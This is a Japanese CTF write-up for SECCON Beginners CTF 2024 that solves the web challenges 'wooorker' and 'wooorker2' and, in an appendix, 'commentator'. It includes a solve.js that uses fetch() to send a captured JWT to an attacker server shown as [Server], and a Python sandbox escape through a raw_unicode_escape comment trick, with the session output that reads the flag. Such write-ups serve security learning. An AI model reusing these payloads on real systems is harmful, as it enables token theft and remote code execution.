SECCON Beginners CTF 2024 Writeup + α

# はじめに
 2024/6/15 (土) 14:00 JST から 2024/6/16 (日) 14:00 JSTの期間で開催された[SECCON Beginners CTF 2024](https://score.beginners.seccon.jp/)に参加しました。

# web
## wooorker
> adminのみflagを取得できる認可サービスを作りました!
https://wooorker.beginners.seccon.games
[脆弱性報告bot](https://wooorker.beginners.seccon.games/report)
wooorker.tar.gz 2911ea65e5bb56cca44780edeae2ccf8c0956a52

https://wooorker.beginners.seccon.games/login?next=/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/15b5dd88-d685-1965-d7fa-35fc039ec394.png)

https://wooorker.beginners.seccon.games/report
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/5eb737b4-47dd-ff98-af8a-12946858f032.png)

2つのページを利用して/flagにアクセスし、flagをゲットする問題です。
まず普通にログイン画面からログインすることはできません。
そこでソースコードを見てみると、認証されるとjwtを返してくれるようです。

```javascript:server.js
app.post('/login', (req, res) => {
  const { username, password } = req.body;
  const user = users[username];

  if (user && user.password === password) {
    const token = jwt.sign({ username, isAdmin: user.isAdmin }, jwtSecret, { expiresIn: '1h' });
    res.status(200).json({ token });
  } else {
    res.status(401).json({ error: 'Unauthorized' });
  }
});
```

でこのjwtはどう利用されるのかというと、/flagにGETアクセスする際にクエリパラメータとして渡してあげるとBearerトークンとしてサーバーに投げてくれるようです。

```javascript:flag.js
document.addEventListener('DOMContentLoaded', async() => {
    const token = new URLSearchParams(window.location.search).get('token');
    if (!token) {
        document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>";
        return;
    }

    try {
        const response = await fetch('/flag', {
            headers: {
                'Authorization': `Bearer ${token}`
            }
        });
        const result = await response.json();
        if (response.ok) {
            document.getElementById('flagContainer').innerText = result.flag;
        } else {
            document.getElementById('flagContainer').innerText = result.error;
        }
    } catch (error) {
        document.getElementById('flagContainer').innerText = 'Error fetching flag.';
    }
});
```
無事に認証されたらjsonでflagが返ってきます。
```javascript:server.js
app.get('/flag', (req, res) => {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) {
    return res.status(401).json({ error: 'No token provided' });
  }
  
  try {
    const decoded = jwt.verify(token, jwtSecret);
    if (decoded.isAdmin) {
      const flag = FLAG;
      res.status(200).json({ flag });
    } else {
      res.status(403).json({ error: 'Access denied' });
    }
  } catch (error) {
    res.status(401).json({ error: 'Invalid token' });
  }
});
```
画面からAdminでログインができないのでさてどう解きましょうかという感じですが、この問題には「脆弱性報告bot」というもう一つのページがありました。こちらは画面に書かれている通り先ほどのページにログインしてくれるBotです。ログインしてくれるということはjwtを受け取っているはずです。これを横取りしたい。

よくよく見るとnext=というクエリパラメータがついており、これは何かというとログイン成功後に遷移するページを指定できるパラメータのようです。(window.location.href)

```javascript:main.js
loginWorker.onmessage = function(event) {
    const { token, error } = event.data;
    if (error) {
        document.getElementById('errorContainer').innerText = error;
        return;
    }
    if (token) {
        const params = new URLSearchParams(window.location.search);
        const next = params.get('next');

        if (next) {
            window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
        } else {
            window.location.href = `/?token=${token}`;
        }
    }
};
```

その際に取得したjwtをクエリパラメータとして付与してくれています。
```javascript
window.location.href = next.includes('token=') ? next: `${next}?token=${token}`;
```

~~普通であればCSPにより別オリジンへのアクセスは制限されるが、Workerの場合はその制限を受けないらしい。
https://book.hacktricks.xyz/v/jp/pentesting-web/xss-cross-site-scripting/abusing-service-workers#:~:text=%E3%81%93%E3%82%8C%E3%81%AF%20CSP%20%E3%81%AE%E4%BF%9D%E8%AD%B7%E3%82%92%E3%83%90%E3%82%A4%E3%83%91%E3%82%B9%E3%81%97%E3%81%BE%E3%81%99%E3%80%82~~
関係ないかも。

なので、外部のURLを入力してあげればそのアクセスログからtokenが取れます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/2ae9fd43-1c6f-8d12-83d8-248eb62d9dea.png)

これを/flag?token=xxxの形でリクエストするとflagが表示されます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/41b244af-ef77-820a-71ad-de040e418d6b.png)




## wooorker2
> トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!
https://wooorker2.beginners.seccon.games
[脆弱性報告bot](https://wooorker2.beginners.seccon.games/report)
wooorker2.tar.gz 8a791365347487091fdda6fce4cf6fd463c0b567

wooorkerとだいたい同じですが、next=にアクセスする際にtokenがクエリパラメータではなくhash propertyに格納されるようになっています。

```javascript:main.js
const loginWorker = new Worker('login.js');

function login() {
    const username = document.getElementById('username').value;
    const password = document.getElementById('password').value;
    document.getElementById('username').value = '';
    document.getElementById('password').value = '';
    loginWorker.postMessage({ username, password });
}

loginWorker.onmessage = function(event) {
    const { token, error } = event.data;
    if (error) {
        document.getElementById('errorContainer').innerText = error;
        return;
    }
    if (token) {
        const params = new URLSearchParams(window.location.search);
        const next = params.get('next');

        if (next) {
            window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
        } else {
            window.location.href = `/#token=${token}`;
        }
    }
};

```
ここ
```javascript
window.location.href = next.includes('token=') ? next: `${next}#token=${token}`;
```

さっきの方法だとhash propertyは取得できないので、方法を考えます。

ほかのソースコードを見るとflag.jsでhash propertyからtokenを取得する処理が書かれてます。

```javascript:flag.js
document.addEventListener('DOMContentLoaded', async() => {
    const token = location.hash.split('=')[1];
    if (!token) {
        document.getElementById('flagContainer').innerHTML = "<p>No token provided. You need to <a href='/login?next=/'>login</a> .</p>";
        return;
    }

    try {
        const response = await fetch('/flag', {
            headers: {
                'Authorization': `Bearer ${token}`
            }
        });
        const result = await response.json();
        if (response.ok) {
            document.getElementById('flagContainer').innerText = result.flag;
        } else {
            document.getElementById('flagContainer').innerText = result.error;
        }
    } catch (error) {
        document.getElementById('flagContainer').innerText = 'Error fetching flag.';
    }
});
```

これを参考に、先ほどのようにこちらで用意したサーバーにアクセスさせたうえで、javascriptファイルを返し、そのjavascriptの中でhash parameterをクエリパラメータに格納しなおして再度アクセスさせるという方法をとることにしました。

```javascript:solve.js
// url hash property取得用JSを書く
document.addEventListener('DOMContentLoaded', async() => {
    const token = location.hash.split('=')[1];

    try {
        const response = await fetch(`http://[Server]/?woooker2token=${token}`);
        if (response.status===200) {
            const response2 = await fetch(`http://[Server]/?result=${response.status}`);
        } else {
            const response2 = await fetch(`http://[Server]/?result=${response.status}`);
        };
    } catch (error) {
        const response2 = await fetch(`http://[Server]/?result=${response.status}`);
    }
});
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/df464095-1ad3-05bf-9ff0-39cb8bf09002.png)

これをこんどは/flag#token=xxxの形でリクエストするとflagが表示されるはず、、なんですがなぜかうまくいかなかったので直接POSTしてflagゲットしました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1901407/468e6e78-914c-99b4-36a1-1e4c1c0a3845.png)




# おわりに
めっちゃ楽しかった！
Writeup間違ってるとこあったらコメントもらえるとうれしいです。

# 参考情報
https://github.com/satoki/ctf4b_2024_satoki_writeups

https://nanimokangaeteinai.hateblo.jp/entry/2024/06/16/140116

https://feneshi.co/ctf4b2024writeup/

https://qiita.com/xryuseix/items/ed5fad16a990d27edac4?utm_campaign=post_article&utm_medium=twitter&utm_source=twitter_share

https://melonattacker.github.io/posts/44/

https://qiita.com/task4233/items/b35cbf3d217cb93fc1c3

# Appendix: 終了後Writeup見つつ試したもの
## commentator
subprocess使ってもできた
```sh
/ # nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> coding: raw_unicode_escape
>>> \u000aimport subprocess
>>> \u000aresult=subprocess.run(["ls","-al","/"],capture_output=True,text=True)
>>> \u000aprint(result.stdout)
>>> __EOF__
total 76
drwxr-xr-x   1 nobody nogroup 4096 Jun 14 11:06 .
drwxr-xr-x   1 nobody nogroup 4096 Jun 14 11:06 ..
drwxr-xr-x   1 nobody nogroup 4096 Jun 14 11:06 app
lrwxrwxrwx   1 nobody nogroup    7 Jun 12 00:00 bin -> usr/bin
drwxr-xr-x   2 nobody nogroup 4096 Jan 28 21:20 boot
drwxrwxrwt   2 nobody nogroup  100 Jun 15 01:39 dev
drwxr-xr-x  32 nobody nogroup 4096 Jun 14 11:06 etc
-rw-r--r--   1 nobody nogroup   50 Jun 14 11:03 flag-437541b5d9499db505f005890ed38f0e.txt
drwxr-xr-x   2 nobody nogroup 4096 Jan 28 21:20 home
lrwxrwxrwx   1 nobody nogroup    7 Jun 12 00:00 lib -> usr/lib
lrwxrwxrwx   1 nobody nogroup    9 Jun 12 00:00 lib64 -> usr/lib64
drwxr-xr-x   2 nobody nogroup 4096 Jun 12 00:00 media
drwxr-xr-x   2 nobody nogroup 4096 Jun 12 00:00 mnt
drwxr-xr-x   2 nobody nogroup 4096 Jun 12 00:00 opt
dr-xr-xr-x 110 nobody nogroup    0 Jun 16 10:04 proc
drwx------   2 nobody nogroup 4096 Jun 13 05:29 root
drwxr-xr-x   3 nobody nogroup 4096 Jun 12 00:00 run
lrwxrwxrwx   1 nobody nogroup    8 Jun 12 00:00 sbin -> usr/sbin
drwxr-xr-x   2 nobody nogroup 4096 Jun 12 00:00 srv
drwxr-xr-x   2 nobody nogroup 4096 Jan 28 21:20 sys
drwxrwxrwt   2   1000    1000   60 Jun 16 10:05 tmp
drwxr-xr-x  12 nobody nogroup 4096 Jun 12 00:00 usr
drwxr-xr-x  11 nobody nogroup 4096 Jun 12 00:00 var

thx :)

/ # nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> coding: raw_unicode_escape
>>> \u000aimport subprocess
>>> \u000aresult=subprocess.run(["cat","/flag-437541b5d9499db505f005890ed38f0e.txt"],capture_output=True,text=True)
>>> \u000aprint(result.stdout)
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}
thx :)
```